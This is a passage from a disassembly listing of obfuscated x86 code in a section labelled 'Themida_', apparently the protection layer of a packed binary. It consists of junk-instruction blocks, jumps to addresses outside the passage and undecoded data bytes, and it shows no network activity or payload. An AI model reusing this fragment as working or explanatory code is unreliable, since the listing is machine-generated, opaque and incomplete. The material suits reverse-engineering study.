		dd 291C7504h, 1FE981C1h, 811C7504h, 0EA01F4C1h,	4C0CE969h
		dd 48FFFFFh, 24048324h,	429EE904h, 34FF0000h, 2434FF24h
		dd 8B2434FFh, 0C4812404h, 4, 815F5457h,	4C7h, 4B95100h
		dd 81000000h, 0F56DB5EFh, 81CF0131h, 0F56DB5C7h, 0B203E931h
		dd 0C281FFFFh, 4E5B7C01h, 4E78EA81h, 0DA011F5Ch, 4E78C281h
		dd 46E91F5Ch, 5AFFFFB0h, 0FEFA8DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56E0AD:				; CODE XREF: Themida_:00569D95j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	ebx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 2F202250h
		neg	esi
		jmp	loc_563053
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 24048F00h, 2414895Ch, 0B05014B6h, 52B37Bh
		dd 0A558E9C3h, 0CB08FFFFh, 0A1EB8059h, 346FB050h, 34650CF3h
		dd 4603440h, 58C32830h,	515BDD88h, 0FAE97DB5h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E10B:				; CODE XREF: Themida_:0056D914j
		push	4
		pop	edi
		sub	edx, edi
		jmp	loc_562510
; ---------------------------------------------------------------------------

loc_56E118:				; CODE XREF: Themida_:0056CD48j
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_566EA5
; ---------------------------------------------------------------------------
		dd 8DE9CAFEh
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E127:				; CODE XREF: Themida_:0056E88Cj
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_56A1E7
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 183EE9h
		db 0
; ---------------------------------------------------------------------------

loc_56E139:				; CODE XREF: Themida_:0056D44Bj
		sub	ebx, 5CBD50E6h
		jmp	loc_571BCD
; ---------------------------------------------------------------------------
		dd 89240C89h, 43B2E9E1h, 6A680000h, 89000071h, 0BB241Ch
		dd 1000000h, 5B2388CBh,	585A5B59h, 81241C8Bh, 4C4h, 0F6FBE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56E172:				; CODE XREF: Themida_:005658EAj
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_57095B
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56D01D
; ---------------------------------------------------------------------------

loc_56E189:				; CODE XREF: Themida_:0056663Dj
		xor	ebx, 5BD958E2h
		xor	ebx, 0F10AF9Eh
		xor	esi, ebx
		pop	ebx
		jmp	loc_565CA0
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 54BE565Ch, 50A7867h,	1F652268h, 682DF001h, 5E1F6522h
		dd 0E7895757h, 0FF4E3DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56E1BD:				; CODE XREF: Themida_:0055F637j
		pop	esi
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5723DE
; ---------------------------------------------------------------------------
		db 2Ch,	0E4h, 0
		dd 4EC81D8h, 0E9000000h, 2111h
; ---------------------------------------------------------------------------

loc_56E1D8:				; CODE XREF: Themida_:00566D9Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ebp
		mov	ebp, ebx
		jmp	loc_5617F6
; ---------------------------------------------------------------------------
		db 68h,	0Ch, 3Bh
		dd 1C890000h, 193C6824h, 75E90000h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E1FB:				; CODE XREF: Themida_:0056346Bj
		pop	ecx
		sub	ebx, esi
		jmp	loc_571E4C
; ---------------------------------------------------------------------------
		db 1
		dd 0F20159CEh, 0FF0BC9E9h, 93EE81FFh, 81542320h, 4510D8C6h
		dd 53FE0126h, 15CFBA52h, 0D38979A6h, 0A4F3815Ah, 0F705F566h
		dd 5E3C1DBh, 4AE9EBD1h,	0FFFF17h, 6EE951C3h, 51FFFF6Bh
		dd 6C88FD88h, 0E9590187h, 0FFFF494Fh
; ---------------------------------------------------------------------------

loc_56E24C:				; CODE XREF: Themida_:0056CDA3j
		dec	ebx
		shr	ebx, 6
		shl	ebx, 5
		jmp	loc_55FCC0
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 0BB685C24h, 89000042h, 39E92404h
		dd 5FFFFFDBh, 47E9EA29h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E277:				; CODE XREF: Themida_:0055EA48j
					; Themida_:0055FA41j ...
		push	dword ptr [esp]
		jmp	loc_561E47
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EA8103E2h, 0A5F37D86h, 0E95AD001h, 0FFFFC0E9h
; ---------------------------------------------------------------------------

loc_56E290:				; CODE XREF: Themida_:0056DBD2j
		pop	ecx
		add	ecx, 4
		push	esi
		push	edx
		mov	edx, 2A6C0FFCh
		sub	edx, 2A6C0FF8h
		mov	esi, edx
		pop	edx
		add	ecx, esi
		push	dword ptr [esp]
		jmp	loc_572559
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 68h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E2B7:				; CODE XREF: Themida_:0056C57Fj
		push	eax
		mov	eax, 16B276CBh
		shr	eax, 7
		inc	eax
		add	eax, 24071B2Fh
		add	eax, 3B97302Dh
		sub	eax, 0B41F40B3h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, edi
		push	dword ptr [ebx]
		pop	eax
		jmp	loc_56844B
; ---------------------------------------------------------------------------
		dw 1BEh
		dd 0F765EF4Eh, 0FCF681D6h, 899A10B1h, 0ED815EF2h, 20637878h
		dd 0FFEAC9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56E2FD:				; CODE XREF: Themida_:0056A7F7j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_563FF0
; ---------------------------------------------------------------------------

loc_56E308:				; CODE XREF: Themida_:0056A188j
		pop	ecx
		push	esi
		jmp	loc_564966
; ---------------------------------------------------------------------------
		db 58h
		dd 51D3E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E316:				; CODE XREF: Themida_:0056E9FDj
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56DB38
; ---------------------------------------------------------------------------

loc_56E321:				; CODE XREF: Themida_:00564620j
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5619AC
; ---------------------------------------------------------------------------

loc_56E332:				; CODE XREF: Themida_:0055E4EEj
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_567423
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0FF38CFE9h, 241487FFh, 2FFCE9h
		db 0
; ---------------------------------------------------------------------------

loc_56E365:				; CODE XREF: Themida_:00569764j
		or	eax, eax
		jnz	loc_5671CA
		push	ebp
		push	3152h
		jmp	loc_56D6C1
; ---------------------------------------------------------------------------
		dd 8158C301h, 6752DFC3h, 81C30135h, 6752DFEBh, 36EB8135h
		dd 8B55163Fh, 0C4832404h, 51866804h, 39E90000h,	89FFFFFCh
		dd 28BB241Ch, 836CD341h, 0E951FFC3h, 0FFFF1337h, 0FEF4B8E9h
		dd 4BEFFh, 0F1890000h, 59CF015Eh, 0FF18E8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56E3C5:				; CODE XREF: Themida_:00571B0Bj
		push	esi
		mov	esi, 227575A4h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	ebx
		sub	edx, 7AF401DFh
		sub	edx, eax
		add	edx, 7AF401DFh
		push	eax
		mov	eax, 475D72BBh
		push	ebx
		mov	ebx, 3B766579h
		neg	ebx
		not	ebx
		not	ebx
		xor	ebx, 0D8366AC7h
		add	eax, ebx
		pop	ebx
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 29h,	0DFh, 0E9h
		dd 0FFFF6170h, 279CC181h, 2BE927BDh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56E41F:				; CODE XREF: Themida_:0056B15Aj
		mov	edx, 56B854F8h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_572237
; ---------------------------------------------------------------------------

loc_56E436:				; CODE XREF: Themida_:0056F7E1j
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 6
		push	4D46h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_565DB3
; ---------------------------------------------------------------------------
		dd 0AE95152h, 0C1000015h, 0ED8102EDh, 14EEDFABh, 0E95DEF01h
		dd 0FFFFDE3Dh, 0FF405F89h, 1C8B2434h, 3BE95324h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E47B:				; CODE XREF: Themida_:00567CDBj
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_567ED7
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 45968D8h, 0C890000h,	0BE0CE924h, 0EB81FFFFh,	5C003023h
		dd 81FFEB83h, 0CFD726C3h, 0E9DF01DDh, 0FFFF7056h, 0C0C6B353h
		dd 14E908EBh, 8BFFFF01h, 75E9242Ch
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E4C7:				; CODE XREF: Themida_:00560A1Fj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_562E9F
; ---------------------------------------------------------------------------
aYsv		db 'YИ┌!',0
		align 2

loc_56E4EA:				; CODE XREF: Themida_:0056BCA0j
		mov	edx, 38AF0DEDh
		and	edx, 59B53851h
		jmp	loc_561A25
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED830000h, 242C8704h, 2414895Ch, 34EA6850h
		dd 48585065h, 34EBBE56h, 0F0315065h, 481505Eh, 0AB2B7324h
		dd 24148B21h, 4C481h, 0EA810000h, 21AB2B73h, 0CFB95158h
		dd 0E92B1815h, 0FFFEF731h, 81D9F741h, 9F2BC6F1h, 2FF1815Fh
		dd 0E907E466h, 0FFFF4DA8h
; ---------------------------------------------------------------------------

loc_56E554:				; CODE XREF: Themida_:0055E109j
		push	eax
		push	edx
		mov	edx, 4
		mov	eax, edx
		pop	edx
		jmp	loc_56648B
; ---------------------------------------------------------------------------

loc_56E563:				; CODE XREF: Themida_:0056FBB8j
		mov	edx, 3D1A4F52h
		jmp	loc_56A9AC
; ---------------------------------------------------------------------------
		db 31h,	0F9h, 5Fh
		dd 8E9C141h, 5610C181h,	0BA527DF5h, 864E12Bh, 148BD131h
		dd 4C48324h, 9E7C681h, 0C68157B6h, 7BB52DB5h, 1F07EE81h
		dd 0EDE974EDh, 59000019h, 7F5ABB53h, 0B850165Ch, 0E9A380AAh
		dd 48BC301h, 38AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E5B6:				; CODE XREF: Themida_:00570380j
		add	esp, 4
		jmp	loc_5690DF
; ---------------------------------------------------------------------------
		db 5, 0Bh, 2Ch
		dd 0A5E909DFh, 1FFFF2Eh, 6BE958C5h, 89FFFF1Ch, 3DE92404h
		dd 8F000023h, 248B2404h, 2424D324h, 0F283E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56E5EA:				; CODE XREF: Themida_:00562AE8j
		push	4
		jmp	loc_5654F7
; ---------------------------------------------------------------------------
		dd 5B7AF181h, 0CB293447h, 1237E9h, 241C3300h, 0E9241C31h
		dd 0FFFFE47Bh, 31E9DF29h, 89FFFF6Dh, 0BEE9242Ch, 8B000029h
		dd 0EC812404h, 4, 0E9242C89h, 0FFFFF19Bh
; ---------------------------------------------------------------------------

loc_56E62C:				; CODE XREF: Themida_:0056C597j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	ebp, 4
		jmp	loc_567707
; ---------------------------------------------------------------------------
		db 54h,	58h, 0E9h
		dd 0FFFFA7DBh
; ---------------------------------------------------------------------------

loc_56E648:				; CODE XREF: Themida_:00562359j
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5671CA
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 28h
		jmp	loc_569ED6
; ---------------------------------------------------------------------------
		db 55h
		dd 556DE1BDh, 88FE97Bh,	248BFFFFh, 4093E924h, 34FFFFFFh
		dd 0C4815824h, 4, 0FF6F79E9h, 5BDD01FFh, 0C94C5705h, 2DE8296Bh
		dd 6BC94C57h, 542F055Dh, 0F8010315h, 15542F2Dh,	67246803h
		dd 0C890000h, 32685324h, 0FF2C9E1Dh, 1C8B2434h,	4C48124h
		dd 81000000h, 4C4h, 68525100h, 43B801D3h, 0EBEA815Ah, 8974571Ch
		dd 0CB295AD1h, 8BD98959h, 0C483241Ch, 0E9C80104h, 0FFFFBF60h
		dd 0E905E3C1h, 0FFFF9FDAh, 7D4BE381h, 1FE95F54h, 81FFFFA5h
		dd 4AFC58EEh, 0FFF501B2h, 0F9E92434h, 51000034h, 0E6E95958h
		dd 81FFFF19h, 4C3h, 4C60E900h, 0E956FFFFh, 0FFFF6EBDh
		dd 6A3F055Bh, 0DEE93671h, 5FFFF3Ch, 6A605337h, 18E4E9h
		db 0
; ---------------------------------------------------------------------------

loc_56E739:				; CODE XREF: Themida_:0056C8B1j
		push	38307351h
		pop	ecx
		jmp	loc_570835
; ---------------------------------------------------------------------------
		dd 0D35CE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E74A:				; CODE XREF: Themida_:005696E0j
		shr	al, 3
		sub	al, 65h
		jmp	loc_56636F
; ---------------------------------------------------------------------------
		dd 0AF2AA2BBh, 0A6F38104h, 8904AF2Ah, 8C28E9DAh, 0EB81FFFFh
		dd 0AEB2D32Fh, 0FF8155E9h, 2434FFFFh, 582434FFh, 4C481h
		dd 0C4830000h, 0FC90B04h, 0FFF31884h, 2BB168FFh, 4890000h
		dd 8FE8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E796:				; CODE XREF: Themida_:00565C9Bj
		not	edx
		add	edx, 0DAD6E5D6h
		mov	ecx, edx
		pop	edx
		shr	ecx, 7
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0FAD65FFh
		jmp	loc_568E85
; ---------------------------------------------------------------------------

loc_56E7BF:				; CODE XREF: Themida_:00563153j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 63A24D10h
		push	esi
		mov	esi, 5DA63A27h
		shl	esi, 8
		push	edx
		push	eax
		mov	eax, 0F4F69F4h
		mov	edx, 6841CC15h
		add	edx, eax
		pop	eax
		and	esi, edx
		pop	edx
		push	79C5h
		jmp	loc_5651C5
; ---------------------------------------------------------------------------
		db 0ACh, 2Ch, 63h
		dd 0D8281404h, 5051142Ch, 0E1884EB4h, 3DB05058h, 5304E0C0h
		dd 88ABB252h, 0F8005AD7h, 81241C8Bh, 4C4h, 7C4AE900h, 0FE68FFFFh
		dd 89000042h, 0BA522424h, 4, 4245401h, 0BD55585Ah, 77F93A1Eh
		dd 0F708E5C1h, 81DDF7D5h, 626286E5h, 0FCBB530Dh, 29092201h
		dd 0E8015BDDh, 4BE565Dh, 29000000h, 4335EF0h, 24043124h
		dd 5C240433h, 0E9243489h, 0FFFF4746h
; ---------------------------------------------------------------------------

loc_56E880:				; CODE XREF: Themida_:0056AADEj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	682Ch
		jmp	loc_56E127
; ---------------------------------------------------------------------------

loc_56E891:				; CODE XREF: Themida_:00566E73j
		pop	ebp
		add	ebx, 713906EFh
		add	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_56B402
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 4EBEFE66h, 8E9FD01h,	89FFFF59h, 0ABB82404h, 50E0137h
		dd 33216CEEh, 0B105D8F7h, 35148F04h, 71214B1Ch,	0BB3E6035h
		dd 1560350Eh, 0C701ACF6h, 0A036858h, 3C890000h,	0CD81E924h
		dd 0C968FFFFh, 89000016h, 0EC812414h, 4, 1448E9h, 29982500h
		dd 0D0F704E4h, 88238525h, 0F93E2D3Ch, 0C1211ED7h, 2E9C158h
		dd 2CCBF181h, 0CE3135AFh, 17EE8159h, 15FBC2Ch, 0BD555EF2h
		dd 4, 3D8CEA81h, 5AE9728Eh, 0FFFFFF1Eh,	505B2434h, 405E089h
		dd 52000000h, 0FE12E953h, 1C89FFFFh, 55CFBB24h,	0F3810EE5h
		dd 6A86443Ch, 0FFB9D1E9h, 3FC981FFh, 0C1597237h, 0E98107E1h
		dd 0D0358D19h, 0E9D1E9D1h, 0E981D9F7h, 0CD6A4CB0h, 5159C889h
		dd 7466BB53h, 4B908E0h,	17273EBh, 0E1C15BD9h, 7CF18104h
		dd 0F70E671Fh, 7E9C1D9h, 34B5C981h, 0E98126E2h,	0F32B4EB2h
		dd 27BB5352h, 0E91A9276h, 0FFFF5E21h, 3B44EB81h, 0C3011053h
		dd 3B44C381h, 34FF1053h, 0A4D2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E9BE:				; CODE XREF: Themida_:005706DEj
		xor	bh, 44h
		xor	cl, bh
		pop	ebx
		jmp	loc_567A0D
; ---------------------------------------------------------------------------
		db 0FEh, 0CCh, 0E9h
		dd 0FFFF7EECh, 89243489h, 4C681E6h, 83000000h, 348704C6h
		dd 18E95C24h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56E9E7:				; CODE XREF: Themida_:005619F6j
		mov	bh, 0Fh
		sub	dl, bh
		pop	ebx
		push	ebx
		mov	bh, 0ABh
		inc	bh
		sub	bh, 4
		sub	bh, 0CAh
		xor	bh, 78h
		add	dl, bh
		pop	ebx
		jmp	loc_56E316
; ---------------------------------------------------------------------------

loc_56EA02:				; CODE XREF: Themida_:0056FD9Cj
		or	ebx, ebx
		jnz	loc_55EA44
		push	ebx
		mov	ebx, 20h
		push	2568h
		jmp	loc_567C80
; ---------------------------------------------------------------------------
		dw 4EE9h
		dd 80FFFEEEh, 0D9F628E1h, 0F180D1F6h, 59C8888Ah, 0D8F6D0F6h
		dd 106BE9h, 162F6800h, 4890000h, 4B824h, 0EC810000h, 4
		dd 0FF0E81E9h, 0DBF57FFh, 0BB51E70Dh, 0AE18F2F7h, 0FF4CA5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56EA5D:				; CODE XREF: Themida_:005670EDj
		push	46E8h
		mov	[esp], esi
		mov	esi, 74B15979h
		inc	esi
		shl	esi, 5
		dec	esi
		dec	esi
		shl	esi, 1
		push	edx
		jmp	loc_567127
; ---------------------------------------------------------------------------
		dd offset dword_4EC14C+435h
		dd 0E5E90221h, 0C1000034h, 0C63107EEh, 0E9E9F031h, 0FFFFB6h
		dd 2434FFE6h, 4C48358h,	0F826E951h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56EA9E:				; CODE XREF: Themida_:00562C69j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_56A292
; ---------------------------------------------------------------------------

loc_56EAA8:				; CODE XREF: Themida_:00561D93j
		shr	ebx, 3
		shr	ebx, 2
		push	eax
		mov	eax, 3C0415A5h
		or	ebx, eax
		pop	eax
		jmp	loc_563867
; ---------------------------------------------------------------------------
		dd 8324348Bh, 34FF04C4h, 2434FF24h, 4C4815Eh, 81000000h
		dd 4C4h, 0C0B60F00h, 538734FFh,	117668h, 240C8900h, 7278BD55h
		dd 2CB945A0h, 3107F84Dh, 0BD555DE9h, 35A46323h,	0E903E5C1h
		dd 0FFFF060Eh, 75240481h, 0FF509628h, 685F2434h, 785Ah
		dd 0FFABD7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56EB15:				; CODE XREF: Themida_:005720C0j
		pop	ebp
		push	esi
		jmp	loc_5698F3
; ---------------------------------------------------------------------------
aVgeh		db '╬юVёeh',0
		align 4
		dd 2C810000h, 83298724h, 24342959h, 87240481h, 5E598329h
		dd 0CE1E9h
		db 0
; ---------------------------------------------------------------------------

loc_56EB3D:				; CODE XREF: Themida_:005707DEj
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_564DD9
; ---------------------------------------------------------------------------

loc_56EB47:				; CODE XREF: Themida_:0055F335j
		sub	esp, 4
		mov	[esp], ecx
		push	3F40h
		jmp	loc_56BF53
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 50197E9Eh, 0FFF8F6E9h, 73F781FFh, 816E5B8Ah,	39717EC3h
		dd 81FB292Bh, 39717EEBh, 0AE95F2Bh, 58FFFFFBh, 8B241C87h
		dd 76E92424h, 81FFFFDCh, 621EA2F7h, 0E9FA0132h,	0FFFF2FCFh
		dd 48BC301h, 190BE924h,	0E7C10000h, 1F5EE903h, 3680000h
		dd 89000016h, 0E189240Ch, 0FF7CC7E9h, 996853FFh, 8B1A1821h
		dd 0C483241Ch, 5655E904h, 834BFFFFh, 0EB8101EBh, 0F0E99D89h
		dd 0FFD433E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56EBD9:				; CODE XREF: Themida_:0055FDB9j
		mov	[esp], edx
		mov	edx, 7E2C5EA0h
		neg	edx
		jmp	loc_5702AC
; ---------------------------------------------------------------------------

loc_56EBE8:				; CODE XREF: Themida_:0056C362j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_568977
		sub	esp, 4
		jmp	loc_566C05
; ---------------------------------------------------------------------------
		dd 341068h, 24048900h, 4BA52h, 0D0890000h, 8B2434FFh, 0C4832414h
		dd 4C48104h, 51000000h,	0A933B9B9h, 5372E90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56EC36:				; CODE XREF: Themida_:005614B0j
		push	edi
		mov	edi, 4FC32F87h
		xor	edi, 72B70659h
		dec	edi
		push	edx
		mov	edx, 307A14B9h
		xor	edx, 0F2F1C29Eh
		add	edi, edx
		pop	edx
		jmp	loc_56C32F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF986EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56EC5D:				; CODE XREF: Themida_:0056C7F6j
		pop	ecx
		shr	ebp, 4
		push	ebx
		jmp	loc_568B95
; ---------------------------------------------------------------------------

loc_56EC67:				; CODE XREF: Themida_:005605CFj
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_563A61
; ---------------------------------------------------------------------------

loc_56EC78:				; CODE XREF: Themida_:00569311j
		shr	ebp, 5
		jmp	loc_56A492
; ---------------------------------------------------------------------------
		dd 2D59C809h, 0BF65B7B9h, 0D73DE950h, 0E981FFFFh, 34830581h
		dd 0BF57F901h, 34830581h, 6DE9F901h, 5CFFFF5Fh,	0B9240C89h
		dd 683151BEh, 0AE46C181h, 448197CEh, 30980424h,	0D5E97AF5h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56ECBF:				; CODE XREF: Themida_:0056FF87j
		sub	edi, 0A7573194h
		mov	eax, edi
		jmp	loc_55F9BA
; ---------------------------------------------------------------------------
		dd 0C21EC381h, 0D989A68Bh, 8BCE015Bh, 0C481240Ch, 4, 0EE81DE29h
		dd 772652B0h, 608DC681h, 0EE813E1Bh, 7A7B32A0h,	81241C8Bh
		dd 4ECh, 1BB7E900h, 88510000h, 0DC43E9D5h, 565BFFFFh, 0F589FE89h
		dd 243C8B5Eh, 104C483h,	34FF5DE8h, 35E95D24h, 89FFFEEDh
		dd 0DA2D58C1h, 5242C14Bh, 0FF94ADE9h, 0CDBF57FFh, 522D7A69h
		dd 287F34BAh, 0E9D7315Ch, 0FFFF80AFh
; ---------------------------------------------------------------------------

loc_56ED44:				; CODE XREF: Themida_:00566A64j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 75E04B61h
		push	esi
		mov	esi, 0AC49127Fh
		xor	ebp, esi
		pop	esi
		add	esi, ebp
		jmp	loc_55E309
; ---------------------------------------------------------------------------

loc_56ED60:				; CODE XREF: Themida_:0056FDAAj
		add	edx, 919EBC98h
		sub	ebp, edx
		jmp	loc_56D7D7
; ---------------------------------------------------------------------------
		db 80h,	0C4h, 30h
		dd 70B2E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56ED76:				; CODE XREF: Themida_:00568C5Dj
		add	ebp, edi
		pop	edi
		xchg	esi, ebp
		jmp	loc_57142D
; ---------------------------------------------------------------------------

loc_56ED80:				; CODE XREF: Themida_:005623AFj
		push	ebp
		mov	ebp, 162120Ch
		add	ecx, 2CBF557Bh
		add	ecx, ebp
		sub	ecx, 2CBF557Bh
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	ecx
		push	4D326E63h
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_568278
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 4C481h, 0F8300000h, 12C3805Bh, 4EC81h, 1C890000h
		dd 560E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56EDDA:				; CODE XREF: Themida_:0055FE87j
		push	ecx
		push	ebx
		jmp	loc_5682A9
; ---------------------------------------------------------------------------

loc_56EDE1:				; CODE XREF: Themida_:0056B7D7j
		mov	ah, bh
		pop	ebx
		pop	edx
		push	ecx
		mov	ch, ah
		mov	bl, ch
		pop	ecx
		jmp	loc_55F36F
; ---------------------------------------------------------------------------
		dd 2887C480h, 815158E6h, 4ECh, 24048900h, 0E48000B4h, 0A7C0E91Bh
		dd 30ACFFFFh, 203A68D8h, 0C890000h, 0EED2E924h,	0C483FFFEh
		dd 4C58104h, 0E9000000h, 0FFFEF39Ch, 2434FF5Ch,	8124048Bh
		dd 4C4h, 0E7895700h, 4C781h, 0AAE90000h, 5EFFFF58h, 6AC3C781h
		dd 0EF01118Fh, 6AC3EF81h, 0E3E9118Fh
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56EE57:				; CODE XREF: Themida_:0055DE8Ej
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, al
		push	edx
		push	eax
		mov	ah, bh
		mov	dl, ah
		pop	eax
		mov	[edi+28h], dl
		pop	edx
		jmp	loc_568B38
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 0A9BF5724h, 0C14B283Dh, 874703E7h, 87D1F7CFh
		dd 0C4EF81CFh, 8965FCDDh, 0C6815FFEh, 736A66F5h, 30ADBD55h
		dd 0F58172E6h, 3506547Fh, 0FFFBD3E9h, 24248BFFh, 0FEE9C0E9h
		dd 0E9C389FFh, 0FFFFF5B8h, 5A66D330h, 5B66D800h, 0FFC0CFE9h
		dd 24048BFFh, 4C481h, 68530000h, 159D045Dh, 573C685Bh
		dd 0C890000h, 7BE9B924h, 0F7E91EF6h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56EEE3:				; CODE XREF: Themida_:00561EA5j
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_56FD4E
; ---------------------------------------------------------------------------
		db 47h
		dd 0FFC548E9h, 19685EFFh, 0E9000078h, 0FFFFBDCEh
; ---------------------------------------------------------------------------

loc_56EF00:				; CODE XREF: Themida_:00571150j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56A355
; ---------------------------------------------------------------------------

loc_56EF13:				; CODE XREF: Themida_:0056FEE2j
		mov	eax, 4
		push	3233h
		jmp	loc_564846
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 0E9C2001Dh, 0FFFFB3BFh, 70548505h, 2BBA520Bh, 81088E24h
		dd 1EAh, 4E2C100h, 0FFE19CE9h, 0C8B66FFh, 0EDE95324h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56EF4F:				; CODE XREF: Themida_:0056520Bj
		sub	al, 61h
		jmp	loc_561042
; ---------------------------------------------------------------------------

loc_56EF56:				; CODE XREF: Themida_:00568D1Dj
		pop	ebp
		push	eax
		mov	eax, 51D26770h
		shl	eax, 8
		neg	eax
		shl	eax, 5
		and	eax, 59873F72h
		jmp	loc_56C687
; ---------------------------------------------------------------------------
aIT_hO		db '\┴<$T_h╟o',0
		align 2
		dw 489h
		dd 4B824h, 0C7810000h, 306E31C1h, 16A0B850h, 0EF8130EAh
		dd 126F12C2h, 30B9C781h, 0C72931A9h, 30B9EF81h,	0C78131A9h
		dd 126F12C2h, 9CC78158h, 0E97FE10Eh, 0FFFFD2E8h, 2257B535h
		dd 0ABB8505Bh, 296BEC5Bh, 24048BC3h, 4C481h, 0C3010000h
		dd 0FF28DAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56EFD1:				; CODE XREF: Themida_:0055EB5Bj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_564D19
; ---------------------------------------------------------------------------

